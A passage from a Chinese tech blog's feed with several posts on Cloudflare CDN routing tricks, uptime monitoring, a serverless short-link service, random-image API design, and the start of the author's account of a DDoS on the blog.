&lt;p&gt;可选你也可以将cdn子域的NS服务器更改为阿里云\华为云\腾讯云云解析做线路分流解析&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;优选工作流:用户访问 -&amp;gt; 由于最终访问的域名设置了CNAME解析所以实际上访问了cdn.acofork.cn并且携带 &lt;strong&gt;源主机名onani.cn&lt;/strong&gt; -&amp;gt; 到达cloudflare.182682.xyz进行优选 -&amp;gt; 优选结束cf边缘节点识别到了携带的 &lt;strong&gt;源主机名onani.cn&lt;/strong&gt; 查询发现了回退源 -&amp;gt; 回退到回退源内容xlog.acofork.cn -&amp;gt; 访问成功&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;针对于Cloudflare Page&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;你可以直接将你绑定到Page的子域名直接更改NS服务器到阿里云\华为云\腾讯云云解析做线路分流解析&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;将您的Page项目升级为Worker项目使用下面的Worker优选方案更简单。详细方法见 【CF Page一键迁移到Worker好处都有啥-哔哩哔哩】 https://b23.tv/t5Bfaq1&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;针对于Cloudflare Workers&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;在Workers中添加路由然后直接将你的路由域名从指向&lt;code&gt;xxx.worker.dev&lt;/code&gt;改为&lt;code&gt;cloudflare.182682.xyz&lt;/code&gt;等优选域名即可&lt;/li&gt;
&lt;li&gt;如果是外域SaaS后再添加路由即可就像
&lt;img src=&quot;https://blog.acofork.com/_astro/cf-fastip-12.cj8MBK0W.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/cf-fastip-13.CebJYUyj.png&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;针对于Cloudflare TunnelZeroTrust&lt;/h1&gt;
&lt;p&gt;请先参照 &lt;a href=&quot;#%E4%BC%A0%E7%BB%9F%E4%BC%98%E9%80%89&quot;&gt;常规SaaS优选&lt;/a&gt; 设置完毕,源站即为 Cloudflare Tunnel。正常做完SaaS接入即可
&lt;img src=&quot;https://blog.acofork.com/_astro/cf-fastip-2.BMNXaq4L.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/cf-fastip-3.BnSFOiaj.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来我们需要让打到 Cloudflare Tunnel 的流量正确路由否则访问时主机名不在Tunnel中会触发 &lt;strong&gt;catch: all&lt;/strong&gt; 规则,总之就是没法访问。首先随便点开一个隧道编辑
&lt;img src=&quot;https://blog.acofork.com/_astro/cf-fastip-4.CYqXR03x.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打开浏览器F12直接保存抓包请求
&lt;img src=&quot;https://blog.acofork.com/_astro/cf-fastip-5.645fyi53.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;抓包 &lt;strong&gt;PUT&lt;/strong&gt; 请求,右键复制为 &lt;strong&gt;cURL&lt;/strong&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/cf-fastip-6.CwIQ75tF.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/cf-fastip-7.Bise5Hci.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打开 &lt;strong&gt;Postman&lt;/strong&gt; 粘贴整个请求,导航到 &lt;strong&gt;Body&lt;/strong&gt; 页,添加一个新项目, &lt;strong&gt;hostname&lt;/strong&gt; 为你优选后(最终访问)的域名, &lt;strong&gt;service&lt;/strong&gt; 为一个正确的源。然后 &lt;strong&gt;Send&lt;/strong&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/cf-fastip-8.CCTVQVyI.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来,控制台会自动多出来一个新的域名,再次访问就正常了&lt;/p&gt;
&lt;p&gt;&lt;em&gt;至于为什么要这么做,因为你要添加的域名可能并不在你的 Cloudflare 账户中而控制台的添加仅能添加CF账户内的域名所以需要抓包曲线救国&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/cf-fastip-9.ZAu8td6L.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;针对于使用了各种CF规则的网站&lt;/h1&gt;
&lt;p&gt;你只需要让规则针对于你的最终访问域名因为CF的规则是看主机名的而不是看是由谁提供的&lt;/p&gt;
&lt;h1&gt;针对于虚拟主机&lt;/h1&gt;
&lt;p&gt;保险起见,建议将源站和优选域名同时绑定到你的虚拟主机,保证能通再一个个删&lt;/p&gt;
</content:encoded></item><item><title>你有一个全球网站?如何做好监控?</title><link>https://blog.acofork.com/posts/double-monitior/</link><guid isPermaLink="true">https://blog.acofork.com/posts/double-monitior/</guid><description>如果你正好在运营一个全球性的网站,它可能在不同地区有不同节点,我们要如何做好宕机提醒?</description><pubDate>Fri, 09 Jan 2026 11:26:02 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;视频: https://www.bilibili.com/video/BV14dqwBVEa5/&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;比如说我的博客
::url{href=https://blog.acofork.com}&lt;/p&gt;
&lt;p&gt;它在国内的节点是 &lt;strong&gt;阿里云 ESA Pages/EdgeOne Pages&lt;/strong&gt; ,而在国外的节点是 &lt;strong&gt;Cloudflare Page&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我使用的方案是在国内自托管一个 &lt;strong&gt;Uptime Kuma&lt;/strong&gt; 服务,而在海外使用一些大厂的云监控,如 &lt;strong&gt;BetterStack&lt;/strong&gt; &lt;strong&gt;UptimeRobot&lt;/strong&gt; 等等,并且让他们互相监控&lt;/p&gt;
&lt;p&gt;对于大厂的监控,我们不必做防护,但对于你自托管的监控,推荐套 &lt;strong&gt;Cloudflare Tunnel&lt;/strong&gt; 防止被DDoS&lt;/p&gt;
&lt;p&gt;国内监控:
::url{href=https://kuma.2x.nz}&lt;/p&gt;
&lt;p&gt;海外监控:
::url{href=https://vps.2x.nz}&lt;/p&gt;
</content:encoded></item><item><title>无需服务器!从零教你自建一个短链服务!</title><link>https://blog.acofork.com/posts/shorter-url/</link><guid isPermaLink="true">https://blog.acofork.com/posts/shorter-url/</guid><description>你是否有一个短域名?没有也没关系,马上教你从域名开始搭建一个短链服务!</description><pubDate>Fri, 09 Jan 2026 10:55:33 GMT</pubDate><content:encoded>&lt;h1&gt;视频&lt;/h1&gt;
&lt;p&gt;https://www.bilibili.com/video/BV1BCi1B7E1q/&lt;/p&gt;
&lt;h1&gt;Demo&lt;/h1&gt;
&lt;p&gt;https://2x.nz/s&lt;/p&gt;
&lt;h1&gt;拿域名!&lt;/h1&gt;
&lt;p&gt;我们需要一个短域名,来作为我们的短链服务的入口&lt;/p&gt;
&lt;p&gt;我们可以前往这些地方购买短域名,建议后缀 &lt;code&gt;.nz&lt;/code&gt; &lt;code&gt;.mk&lt;/code&gt; &lt;code&gt;.im&lt;/code&gt; 建议2-3位长度的域名&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.spaceship.com/zh/&quot;&gt;迈向未来 - Spaceship&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://porkbun.com/&quot;&gt;porkbun.com | An oddly satisfying experience.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.quyu.net/&quot;&gt;【趣域网】域名注册网站哪个好_注册域名查询购买_whois信息查询_域名交易网_ - 趣域网&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;基础思路&lt;/h1&gt;
&lt;p&gt;Cloudflare Page/Worker的重定向文件提供了基于文件的重定向功能参考 &lt;a href=&quot;/posts/cfpage-redirect/&quot;&gt;这篇文章&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;接下来我们再利用 Cloudflare Worker 连接Github帮我们去更新这个文件顺便搓一个前端出来让用户能够生成短链即可&lt;/p&gt;
&lt;h1&gt;防护措施&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;[!CAUTION]
必须在最终重定向时不直接重定向到业务域名,需要配置中间页,否则你的域名一定会在后期被举报为 &lt;strong&gt;滥用/钓鱼/诈骗网站&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;重定向文件限制静态重定向 &lt;strong&gt;2000&lt;/strong&gt; ,动态重定向 &lt;strong&gt;100&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;单行字符串不超过 &lt;strong&gt;1024&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;服务架构图&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/MermaidChart-Createcomplexvisualdiagramswithtext-2026-01-09-031619.DaCu2KVo.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>超高校级的监控服务UptimeFlare基于CF Worker自托管声明式新手友好</title><link>https://blog.acofork.com/posts/uptimeflare/</link><guid isPermaLink="true">https://blog.acofork.com/posts/uptimeflare/</guid><description>谁不想拥有一个监控自己服务的服务呢?</description><pubDate>Sat, 03 Jan 2026 03:10:53 GMT</pubDate><content:encoded>&lt;h1&gt;从KV迁移&lt;/h1&gt;
&lt;p&gt;由于原项目于26/1/3将数据存储从KV迁移到了D1并且配备了完备的i18n如果你仍在运营旧版的UptimeFlare建议升级下面是迁移教程&lt;/p&gt;
&lt;p&gt;首先将你之前配置的Cloudflare API令牌添加一个新的权限 &lt;strong&gt;编辑D1&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;然后备份根目录的 &lt;code&gt;uptime.config.ts&lt;/code&gt; ,直接 把原仓库删了但是不要删KVWorkerPageFork我的仓库&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;afoim/UptimeFlare&quot;}&lt;/p&gt;
&lt;p&gt;接下来编辑新的 &lt;code&gt;uptime.config.ts&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;参阅 &lt;a href=&quot;https://github.com/afoim/UptimeFlare/blob/main/uptime.config.ts&quot;&gt;UptimeFlare/uptime.config.ts at main · afoim/UptimeFlare&lt;/a&gt; 主要就是将自定义callback迁移到官方的WebHook方法&lt;/p&gt;
&lt;p&gt;编辑后推送会自动触发Github Action的自动部署它会自动将KV内的数据迁移到D1&lt;/p&gt;
&lt;p&gt;这迁移到D1何意味
&lt;img src=&quot;https://blog.acofork.com/_astro/uptimeflare-16.DOE6xDob.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;本来这个教程应该是永远都不会出的,因为在此之前,我曾经给大家介绍了一个无需自托管的监控服务:&lt;a href=&quot;/posts/uptimerobot/&quot;&gt;UptimeRobot&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;但是,就在最近我再次查看控制台,发现之前创建的监控全部都没了,咱也不知道是被官方删了还是号被黑客大手子肘击了,总之,我现在不得不要重建监控服务了&lt;/p&gt;
&lt;h1&gt;原理&lt;/h1&gt;
&lt;p&gt;首先UptimeFlare是一个基于Cloudflare Worker+D1的监控服务&lt;/p&gt;
&lt;p&gt;它的原理非常简单,一共由三个部分组成&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;前端&lt;/strong&gt;放在Cloudflare Page用于给用户展示zhandianzhuangt&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;后端&lt;/strong&gt;放在Cloudflare Worker通过 Worker 自带的 &lt;strong&gt;Cron&lt;/strong&gt; 每分钟 检查站点状态,并将状态持久化进 &lt;strong&gt;D1&lt;/strong&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/uptimeflare-1.BKhlEp5q.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/uptimeflare-14.DgUuEFgo.png&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;首先我们需要 &lt;strong&gt;Fork&lt;/strong&gt; 项目建议Fork我的项目由于原项目不知道为什么不给在某些地方注入环境变量所以建议Fork我的&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;afoim/UptimeFlare&quot;}&lt;/p&gt;
&lt;p&gt;首先我们先尝试将其部署到Cloudflare&lt;/p&gt;
&lt;p&gt;创建一个Cloudflare API Token &lt;strong&gt;编辑Workers&lt;/strong&gt;&lt;strong&gt;D1&lt;/strong&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/msedge_HwStEUKYVx1.u1Stq37R.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来将该Token绑定到你的Github仓库
&lt;img src=&quot;https://blog.acofork.com/_astro/uptimeflare-4.BdTLYcyD.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后,来到 &lt;code&gt;Action&lt;/code&gt; 页面,手动创建一个 &lt;code&gt;Deploy to Cloudflare&lt;/code&gt; 的工作流
&lt;img src=&quot;https://blog.acofork.com/_astro/uptimeflare-5.YDQBA7E2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;等待工作流运行结束你应该可以在Cloudflare仪表板看见一个新的Page新的Worker和新的D1
&lt;img src=&quot;https://blog.acofork.com/_astro/uptimeflare-6.KrGuTtk1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点开 Page注意不要点错了
&lt;img src=&quot;https://blog.acofork.com/_astro/uptimeflare-8.BFS0l2ZW.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;绑定你的域名,尝试访问
&lt;img src=&quot;https://blog.acofork.com/_astro/uptimeflare-9.Bcx-kiwy.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果你能看到一个初始的监控页面,则正常
&lt;img src=&quot;https://blog.acofork.com/_astro/uptimeflare-10.CYOFmuCg.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来,我们开始自定义该监控&lt;/p&gt;
&lt;p&gt;编辑根目录的 &lt;code&gt;uptime.config.ts&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;如果服务故障如何做通知?&lt;/p&gt;
&lt;p&gt;UptimeFlare非常自由你可以在 &lt;code&gt;callbacks&lt;/code&gt; 中编写故障时要做的任何事情,这里以发送 &lt;code&gt;POST&lt;/code&gt; 请求让 &lt;code&gt;Resend&lt;/code&gt; 发送邮件给你举例&lt;/p&gt;
&lt;p&gt;首先前往 https://resend.com/&lt;/p&gt;
&lt;p&gt;添加一个域名(作为你的发信域名)
&lt;img src=&quot;https://blog.acofork.com/_astro/uptimeflare-11.BGV9fH6W.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;创建一个发信API Key
&lt;img src=&quot;https://blog.acofork.com/_astro/uptimeflare-12.BJnKCA9W.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;添加环境变量: &lt;code&gt;RESEND_API_KEY&lt;/code&gt; 将其绑定到 &lt;strong&gt;Action&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/uptimeflare-13.C5fIUV0y.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;编辑 &lt;code&gt;uptime.config.ts&lt;/code&gt;&lt;code&gt;webhook.payload&lt;/code&gt; 部分&lt;/p&gt;
&lt;p&gt;示例代码:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;        payload: {
        &quot;from&quot;: &quot;系统状态更新 &amp;lt;uptimeflare@update.2x.nz&amp;gt;&quot;,
        &quot;to&quot;: [&quot;acofork@foxmail.com&quot;],
        &quot;subject&quot;: &quot;UptimeFlare 状态更新&quot;,
        &quot;text&quot;: &quot;$MSG&quot;
      },
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来,当服务故障/重新上线就会通知你啦~
&lt;img src=&quot;https://blog.acofork.com/_astro/1dc1a98a404db83e909c1f87e8a115cf.CVNrDOmh.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最终效果:
::url{href=&quot;https://ok.2x.nz&quot;}&lt;/p&gt;
</content:encoded></item><item><title>完全免费!从架构,开发到部署,一条龙实打实的教你做一言/随机图等随机URL的最佳实践</title><link>https://blog.acofork.com/posts/random-url-gen/</link><guid isPermaLink="true">https://blog.acofork.com/posts/random-url-gen/</guid><description>我曾于2024搭建了第一个随机图网站最近几周又深度研究了类似项目发现这类项目有很多坑也有很多神秘的捷径并且某些架构还可以做到“永生”...</description><pubDate>Mon, 29 Dec 2025 10:10:40 GMT</pubDate><content:encoded>&lt;h1&gt;探索架构&lt;/h1&gt;
&lt;p&gt;我们先不讲一个抽象的概念,我们首先来做一个小项目&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;一个随机图API每次请求都返回不同的图片&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;你会怎么做?&lt;/p&gt;
&lt;p&gt;有非常多的解决方案就拿最简单的一说我们可以先搞来一个服务器然后往里面塞图片最后写一个脚本创建一个Web服务器接收客户端请求每一个请求都从图片库里抽一张图返回&lt;/p&gt;
&lt;p&gt;能实现吗?&lt;/p&gt;
&lt;p&gt;当然可以!这是你的流程图!
&lt;img src=&quot;https://blog.acofork.com/_astro/random-url-gen-5.Bxs9LXZa.png&quot; alt=&quot;&quot; /&gt;
但也会带来一些问题,比如,图片存在本地,给客户端响应图片的时候走的是你机子的流量,那么你就需要一个 &lt;strong&gt;高带宽&lt;/strong&gt; 的服务器,这无疑是一个 &lt;strong&gt;高昂&lt;/strong&gt; 的成本&lt;/p&gt;
&lt;p&gt;那可能你会有新的方案: &lt;strong&gt;前后端分离&lt;/strong&gt; 逻辑与资产分离只将返回这个图片的逻辑存放在服务器上而图片存到其他地方如对象存储Cloudflare R2、IPFS等等
&lt;img src=&quot;https://blog.acofork.com/_astro/random-url-gen-6.BXJdm3Jw.png&quot; alt=&quot;&quot; /&gt;
那么问题又来了,假如说你的项目太多人用了,那你的服务器性能可能不够,在后期,你仍然需要一个 &lt;strong&gt;高昂&lt;/strong&gt;&lt;strong&gt;维护成本&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;那么那么那么,现在是 &lt;strong&gt;2025&lt;/strong&gt; 年,传统的架构已经无法满足我们了,我们不妨可以试试 &lt;strong&gt;云函数&lt;/strong&gt;
仍然是前后端分离我们现在将逻辑放到一个函数上面如Cloudflare Worker、EdgeOne Function、Vercel Function等等
&lt;img src=&quot;https://blog.acofork.com/_astro/random-url-gen-8.CwUVrcPa.png&quot; alt=&quot;&quot; /&gt;
那么现在是不是无敌了?&lt;/p&gt;
&lt;p&gt;并非,虽然前端因为使用了 &lt;strong&gt;云函数&lt;/strong&gt; 也就是直接接入了CDN高并发已经不是问题了但是由于资产并不直接托管在 &lt;strong&gt;云函数&lt;/strong&gt; 中,&lt;strong&gt;云函数&lt;/strong&gt; 仍然需要创建一个长连接从你的后端,如对象存储获取图片,这样一折腾,你的服务可能并不算快&lt;/p&gt;
&lt;p&gt;有人就会说了,那既然现在我都把我服务器丢了,前端在云,后端也在云,为什么不直接让前端的云直接存储后端的资产呢?&lt;/p&gt;
&lt;p&gt;当然可以!你已经非常接近最佳实践了!&lt;/p&gt;
&lt;p&gt;绝大部分 &lt;strong&gt;云函数&lt;/strong&gt; 都支持动静结合,也就是支持你在他们的云存放一些动态脚本,再顺便 &lt;strong&gt;存放静态资产&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;那么接下来,你就得到了一个完全不需要你买服务器托管,也不需要你担心存储爆仓导致天价账单的随机图...了吗?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/random-url-gen-4.k7btNjVk.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;探索随机图随机URL的本质&lt;/h1&gt;
&lt;p&gt;我们刚刚只是在抽象的说明某种架构 &lt;strong&gt;好像&lt;/strong&gt; 可行,&lt;strong&gt;好像&lt;/strong&gt; 又有什么问题,然后又有一种什么新思路 &lt;strong&gt;好像&lt;/strong&gt; 可以解决这个问题&lt;/p&gt;
&lt;p&gt;但我们要走的路才刚刚开始我们不妨思考一下随机图又或者说随机URL这类项目服务器如果有究竟发送了什么给客户端客户端又对服务器发回的报文执行了什么动作&lt;/p&gt;
&lt;p&gt;你肯定知道如果想要客户端每次请求同一个URL都返回不同的东西那肯定是服务器针对每一个请求都返回了不同的响应它可以是内部的比如直接在响应体塞图片又或者也可以是 &lt;strong&gt;重定向&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;直接在响应体塞图片很简单在客户端是不可见的当客户端请求API时服务器直接将选中的图片作为响应体发出在客户端看来就好像是请求了一张图片只不过每次刷新都不一样&lt;/p&gt;
&lt;p&gt;而响应 &lt;strong&gt;重定向&lt;/strong&gt; 就更简单了,只需要让服务器发送一个 &lt;strong&gt;临时重定向&lt;/strong&gt; 的状态码,比如 &lt;strong&gt;302&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;有人就会说了,为什么必须要 &lt;strong&gt;临时重定向&lt;/strong&gt; &lt;/p&gt;
&lt;p&gt;因为你肯定是想要客户端每次刷新都返回不同的图,一旦你使用了 &lt;strong&gt;永久重定向&lt;/strong&gt;&lt;strong&gt;301&lt;/strong&gt; ,客户端在收到 &lt;strong&gt;301&lt;/strong&gt; 的那一刻就会在浏览器里写一个记录:&lt;strong&gt;下次访问这个URL直接重定向不再请求服务器&lt;/strong&gt; 这就会导致你的随机图API真的就变成一张图片了&lt;/p&gt;
&lt;p&gt;那么,这两种方法哪种更好呢?&lt;/p&gt;
&lt;p&gt;各有利弊,一句话说明:&lt;strong&gt;直接返回MIME类型是连请求复用仅需一次请求即可得到图片。而返回302重定向至少需要客户端请求两次&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这得看你的实际架构,如果说你是前后端分离,即逻辑和资产不在一个地方,肯定是 302 好,因为如果你直接在响应体塞图片,就相当于你的服务器作为 &lt;strong&gt;代理&lt;/strong&gt; 让客户端访问你的资产,流量全部走你服务器&lt;/p&gt;
&lt;p&gt;而如果说你前后端都在一起正常情况下来说一次请求复用肯定是比两次连接更快的不过为了方便管理和统计我的大部分API仍然使用 &lt;strong&gt;302 重定向&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;afoim/EdgeOne_Function_PicAPI&quot;}&lt;/p&gt;
&lt;p&gt;上线的API https://eopfapi.acofork.com/pic?img=ua&lt;/p&gt;
&lt;h1&gt;奇技淫巧1利用Cloudflare Origin Rules实现无计费的随机URL&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;Video: https://www.bilibili.com/video/BV19ZBzB8EDQ/
起因于有一天一位粉丝在我视频下留言
&lt;img src=&quot;https://blog.acofork.com/_astro/random-url-gen-9.DMuf-bAG.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;他提到的仓库为&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;Mabbs/cf-hitokoto&quot;}&lt;/p&gt;
&lt;p&gt;大致为Cloudflare在规则提供一个方法该方法可以在规则层生成一个UUID而UUID每次都是随机的我们可以依据此来在规则层做随机URL&lt;/p&gt;
&lt;p&gt;理论可行,实践开始&lt;/p&gt;
&lt;p&gt;首先我们要知道UUID是一串带有连字符的随机数而每一位有16种可能我们可以仅截取前4位也就是 16^4 共能存储65536张图每一张图可以分配到一个唯一的UUID接下来让CF边缘在收到请求的时候生成UUID然后直接拼接URL请求静态资产&lt;code&gt;/img/0000.jpg&lt;/code&gt; ,再返回给客户端即可&lt;/p&gt;
&lt;p&gt;那如果说我图比这多呢加一位16^5 = 1048576够用了吧
那如果说我图比这少呢那我们可以让图片填充说个极端的例子假如你只有2张图每张图创建32768个副本即可依此类推&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/random-url-gen-10.BNTdCfq9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;afoim/cf-rule-random-url&quot;}&lt;/p&gt;
&lt;p&gt;上线的API https://img.072103.xyz/h | https://img.072103.xyz/v&lt;/p&gt;
&lt;h1&gt;奇技淫巧2丢掉后端让前端JS自己拼URL&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;Video: https://www.bilibili.com/video/BV1tNB4BEEaE/
Video2: https://www.bilibili.com/video/BV1mMBKBREkB/&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;把思路打开,我们真的需要一个 &lt;strong&gt;请求一个端点,返回一个随机内容&lt;/strong&gt; 的东西吗&lt;/p&gt;
&lt;p&gt;如果只是想在我们的网站上用上随机图那是不是可以让客户端JavaScript代劳呢&lt;/p&gt;
&lt;p&gt;大致原理为编写一个客户端JS生成一个随机数然后拼接URL得到最终的随机图然后寻找需要替换为随机图的img容器或者背景图容器替换其中内容&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/random-url-gen-11.JmLISSe4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;afoim/Static_RandomPicAPI&quot;}&lt;/p&gt;
&lt;p&gt;上线的 API https://pic1.acofork.com&lt;/p&gt;
&lt;h1&gt;总结&lt;/h1&gt;
&lt;p&gt;我们共探索了三种流派&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;传统派:中规中矩,在边缘函数找图,取图&lt;/li&gt;
&lt;li&gt;极客派通过CF的规则实现在边缘找图取图但是不计费&lt;/li&gt;
&lt;li&gt;环保派通过客户端JS直接在浏览器上实现找图取图改图&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>本站遭受了建站以来规模最大的一次DDoS攻击总流量6.65TB峰值瞬发1.95GB/s</title><link>https://blog.acofork.com/posts/ddos-6t/</link><guid isPermaLink="true">https://blog.acofork.com/posts/ddos-6t/</guid><description>不是哥们,静态也打?</description><pubDate>Tue, 16 Dec 2025 08:28:59 GMT</pubDate><content:encoded>&lt;h1&gt;引言&lt;/h1&gt;
&lt;p&gt;本站建站初使用 &lt;strong&gt;静态&lt;/strong&gt; 架构就是防止别有用心之人进行DDoS&lt;/p&gt;
&lt;p&gt;你想啊,一个静态网站,所有攻击流量都是打在 &lt;strong&gt;CDN的边缘节点&lt;/strong&gt; 上,也就是等于攻打 &lt;strong&gt;整个CDN厂商&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;一是很难打死,二是没必要,毕竟静态网站的背后没有源站,也不涉及利益,纯粹是白打&lt;/p&gt;
&lt;p&gt;但在昨天,就有位神人试图攻打 &lt;strong&gt;EdgeOne/ESA&lt;/strong&gt; 并且还真给他打死了,待我娓娓道来&lt;/p&gt;
&lt;p&gt;&lt;em&gt;如果你就是那位神人,请联系我,我给您颁个奖&lt;/em&gt;&lt;/p&gt;
&lt;h1&gt;初见端倪&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;2025年12月16号 11:13&lt;/strong&gt;,我在和我的朋友测试项目的时候,有一个知识点他忘记了,我提议他前往我的博客查看,却被告知博客访问报 &lt;strong&gt;570&lt;/strong&gt; 状态码&lt;/p&gt;
&lt;p&gt;我立即使用 https://itdog.cn 测试了我的博客网站 https://acofork.com 发现大部分节点都为 &lt;strong&gt;570&lt;/strong&gt; 状态码
&lt;img src=&quot;https://blog.acofork.com/_astro/4f3b8517527460574d03479cc64655be.DOI8pAZP.png&quot; alt=&quot;&quot; /&gt;
因为当时我的网站部署在 &lt;strong&gt;EdgeOne&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;随后,我向腾讯客服求证,了解到该状态码是一个 &lt;strong&gt;单节点限频访问&lt;/strong&gt; 的状态码
&lt;img src=&quot;https://blog.acofork.com/_astro/5082a73ffa31ee435c9c7894263ae4cd.B_hiNgCA.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我的朋友甚至还在调侃说: &lt;strong&gt;你网站🔥了&lt;/strong&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/ddos-6t-1.wRwoGQYM.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但是事情貌似还有一些诡异,为什么海外都是 &lt;strong&gt;200 OK&lt;/strong&gt; &lt;/p&gt;
&lt;p&gt;我开始怀疑被打了
&lt;img src=&quot;https://blog.acofork.com/_astro/ddos-6t-2.CplrSdiw.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可能玩静态久了,没有第一时间上到 &lt;strong&gt;EdgeOne&lt;/strong&gt; 查看请求数和流量,想着都是静态,谁没事打呢&lt;/p&gt;
&lt;p&gt;然后我就回家,暂时切了一下逻辑&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;之前: &lt;strong&gt;EdgeOne Pages&lt;/strong&gt; 直接提供服务但是570&lt;/li&gt;
&lt;li&gt;现在: &lt;strong&gt;EdgeOne CDN&lt;/strong&gt; 回源 &lt;strong&gt;Cloudflare Pages&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
